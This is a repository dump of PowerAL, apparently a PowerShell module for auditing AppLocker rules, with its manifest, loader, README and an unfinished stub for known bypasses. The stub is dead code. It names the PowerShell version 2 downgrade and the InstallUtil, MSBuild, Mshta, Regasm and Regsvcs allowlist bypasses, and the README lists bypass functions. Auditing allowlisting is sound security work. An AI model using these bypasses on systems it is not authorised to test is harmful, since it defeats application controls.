Catch 319 | { 320 | write-error $_ 321 | } 322 | Finally{} 323 | } 324 | } -------------------------------------------------------------------------------- /PowerAL/Functions/Invoke-PALKnownBypasses.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-PALKnownBypasses 2 | { 3 | # NOT DONE! 4 | [CmdletBinding()] Param () 5 | Process 6 | { 7 | Write-error "THIS FUNCTION IS UNDER DEVELOPMENT - SCRIPT JUST A PLACEHOLDER - NOT DONE - stopping" 8 | break 9 | "`n`n[*] Checking PowerShell version 2 status" 10 | if(Get-PALPoshV2Installed -ErrorAction SilentlyContinue) 11 | { 12 | "[+] PowerShell version 2 is active" 13 | "[+] Exploit with: Powershell -version 2" 14 | } 15 | 16 | 17 | # RETRIVE APPLOCKER BYPASSES FROM MY GITHUB 18 | # VERIFY THAT BINARY FILE IS NOT IN PATH OR DENYED DIRECTLY 19 | #https://gist.githubusercontent.com/api0cradle/2ee73118f7a897b6cc127b1d33384acc/raw/1e9b988448536004df296d3aea9f206f2f9d047c/VerifiedAppLockerBypasses.csv 20 | #InstallUtil.exe,https://raw.githubusercontent.com/api0cradle/UltimateAppLockerByPassList/Dev/yml/installutil.exe.yml 21 | #Msbuild.exe,https://raw.githubusercontent.com/api0cradle/UltimateAppLockerByPassList/Dev/yml/installutil.exe.yml 22 | #Mshta.exe,https://raw.githubusercontent.com/api0cradle/UltimateAppLockerByPassList/Dev/yml/mshta.exe.yml 23 | #Regasm.exe,https://raw.githubusercontent.com/api0cradle/UltimateAppLockerByPassList/Dev/yml/regasm.exe.yml 24 | #Regsvcs.exe,https://raw.githubusercontent.com/api0cradle/UltimateAppLockerByPassList/Dev/yml/regsvcs.exe.yml 25 | 26 | #InstallUtil 27 | $InstallUtilPathsx86 = @("C:\Windows\Microsoft.NET\Framework\v2.0.50727","C:\Windows\Microsoft.NET\Framework\v4.0.30319") 28 | $InstallUtilPathsx64 = @("C:\Windows\Microsoft.NET\Framework64\v2.0.50727","C:\Windows\Microsoft.NET\Framework64\v4.0.30319") 29 | $testpath = "C:\Windows\Microsoft.NET\Framework\v2.0.50727","C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe" 30 | 31 | #Check if Powershell 2 is removed or not 32 | } 33 | } -------------------------------------------------------------------------------- /PowerAL/PowerAL.psd1: -------------------------------------------------------------------------------- 1 | # 2 | # Module manifest for module 'PowerAL' 3 | # 4 | # Generated by: Oddvar Moe 5 | # 6 | # Generated on: 2018-08-07 7 | # 8 | 9 | @{ 10 | 11 | # Script module or binary module file associated with this manifest. 12 | RootModule = '.\PowerAL.psm1' 13 | 14 | # Version number of this module. 15 | ModuleVersion = '0.90' 16 | 17 | # Supported PSEditions 18 | # CompatiblePSEditions = @() 19 | 20 | # ID used to uniquely identify this module 21 | GUID = 'c9934cc5-ebac-47af-9247-306229db8a5b' 22 | 23 | # Author of this module 24 | Author = 'Oddvar Moe' 25 | 26 | # Company or vendor of this module 27 | CompanyName = 'oddvar.moe' 28 | 29 | # Copyright statement for this module 30 | # Copyright = '(c) 2018 Oddvar.Moe. All rights reserved.' 31 | 32 | # Description of the functionality provided by this module 33 | # Description = '' 34 | 35 | # Minimum version of the Windows PowerShell engine required by this module 36 | PowerShellVersion = '5.0' 37 | 38 | # Name of the Windows PowerShell host required by this module 39 | # PowerShellHostName = '' 40 | 41 | # Minimum version of the Windows PowerShell host required by this module 42 | # PowerShellHostVersion = '' 43 | 44 | # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. 45 | # DotNetFrameworkVersion = '' 46 | 47 | # Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. 48 | # CLRVersion = '' 49 | 50 | # Processor architecture (None, X86, Amd64) required by this module 51 | # ProcessorArchitecture = '' 52 | 53 | # Modules that must be imported into the global environment prior to importing this module 54 | # RequiredModules = @() 55 | 56 | # Assemblies that must be loaded prior to importing this module 57 | # RequiredAssemblies = @() 58 | 59 | # Script files (.ps1) that are run in the caller's environment prior to importing this module. 60 | # ScriptsToProcess = @() 61 | 62 | # Type files (.ps1xml) to be loaded when importing this module 63 | # TypesToProcess = @() 64 | 65 | # Format files (.ps1xml) to be loaded when importing this module 66 | # FormatsToProcess = @() 67 | 68 | # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess 69 | # NestedModules = @() 70 | 71 | # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. 72 | FunctionsToExport = '*' 73 | 74 | # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. 75 | CmdletsToExport = '*' 76 | 77 | # Variables to export from this module 78 | VariablesToExport = '*' 79 | 80 | # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. 81 | AliasesToExport = '*' 82 | 83 | # DSC resources to export from this module 84 | # DscResourcesToExport = @() 85 | 86 | # List of all modules packaged with this module 87 | # ModuleList = @() 88 | 89 | # List of all files packaged with this module 90 | # FileList = @() 91 | 92 | # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. 93 | PrivateData = @{ 94 | 95 | PSData = @{ 96 | 97 | # Tags applied to this module. These help with module discovery in online galleries. 98 | # Tags = @() 99 | 100 | # A URL to the license for this module. 101 | # LicenseUri = '' 102 | 103 | # A URL to the main website for this project. 104 | # ProjectUri = '' 105 | 106 | # A URL to an icon representing this module. 107 | # IconUri = '' 108 | 109 | # ReleaseNotes of this module 110 | # ReleaseNotes = '' 111 | 112 | } # End of PSData hashtable 113 | 114 | } # End of PrivateData hashtable 115 | 116 | # HelpInfo URI of this module 117 | # HelpInfoURI = '' 118 | 119 | # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. 120 | # DefaultCommandPrefix = '' 121 | 122 | } 123 | -------------------------------------------------------------------------------- /PowerAL/PowerAL.psm1: -------------------------------------------------------------------------------- 1 | Get-ChildItem (Join-Path $PSScriptRoot\Functions\ *.ps1) | % { . $_.FullName} -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PowerAL 2 | 3 | Current version: 0.95 4 | 5 | Version control will not be 100% until I have reached version 1.0. 6 | I use this area as my work area to commit my code. After version 1.0 I will be using a DEV branch instead 7 | for rolling changes. 8 | 9 | PowerAL is a Powershell module for interacting with AppLocker rules. 10 | Module is designed to be able to run in Constrained language mode. 11 | The goal with the module is to easily be able to identify AppLocker weaknesses/config flaws. 12 | This module is a work in progress. First version (0.63) was released at DerbyCon. 13 | 14 | 1. Run Powershell -ep unrestricted 15 | 2. Import-module PowerAL.psd1 16 | 17 | Current list of functions: 18 | 19 | - Expand-PALPath 20 | - Get-PALPathStatus 21 | - Get-PALPoshV2Installed 22 | - Get-PALPublisherStatus 23 | - Get-PALRules 24 | - Get-PALRuleSectionStatus 25 | - Get-PALServiceStatus 26 | - Get-PALMissingADSRules 27 | - Get-PALMissingAllowedPaths 28 | - Get-PALWriteableAllowedPaths 29 | - Get-PALWriteablePaths 30 | - Invoke-PALAllInfo 31 | - Invoke-PALBypassPwn 32 | - Invoke-PALCLMTempBypass 33 | - Invoke-PALExploitableRules 34 | - Invoke-PALKnownBypasses <- Not working 35 | 36 | 37 | # Change log 38 | 39 | version 0.95: 40 | - Added ExceptionsAsDeny to Get-PALRules 41 | - Created Get-PALMissingADSRules 42 | - Adjustment of functions to use ExceptionsAsDeny to handle exceptions 43 | - Refactored Get-PALPathStatus 44 | 45 | 46 | version 0.90: 47 | - Allowed pipe to expand-palpath 48 | - Get-PALRulesNative created - Must still be used for OfflineXML checking 49 | - Added rerun to Get-PALWriteableAllowedPaths 50 | - Changed Get-PALWriteAblePaths to keep previous scans in Global variables (memory). Also it is optimalized to not scan the same area twice. 51 | - Removed Invoke-PALRemoveCachedPath since all is done in memory 52 | - ADS support on Expand-PALPath 53 | - Changed name from Get-PALRulesStatus to Get-PALRuleSectionStatus 54 | - Wrote Get-PALRules by getting AppLocker rules from Registry instead of using the native way leveraging Get-AppLockerPolicy 55 | - Added support for multiple paths to Expand-palpath 56 | - Get-PALMissingAllowedPaths created 57 | - Rewrote Get-PALEXploitablerules, added check for ADS and some other stuff 58 | - + many more things I forgot to write down 59 | --------------------------------------------------------------------------------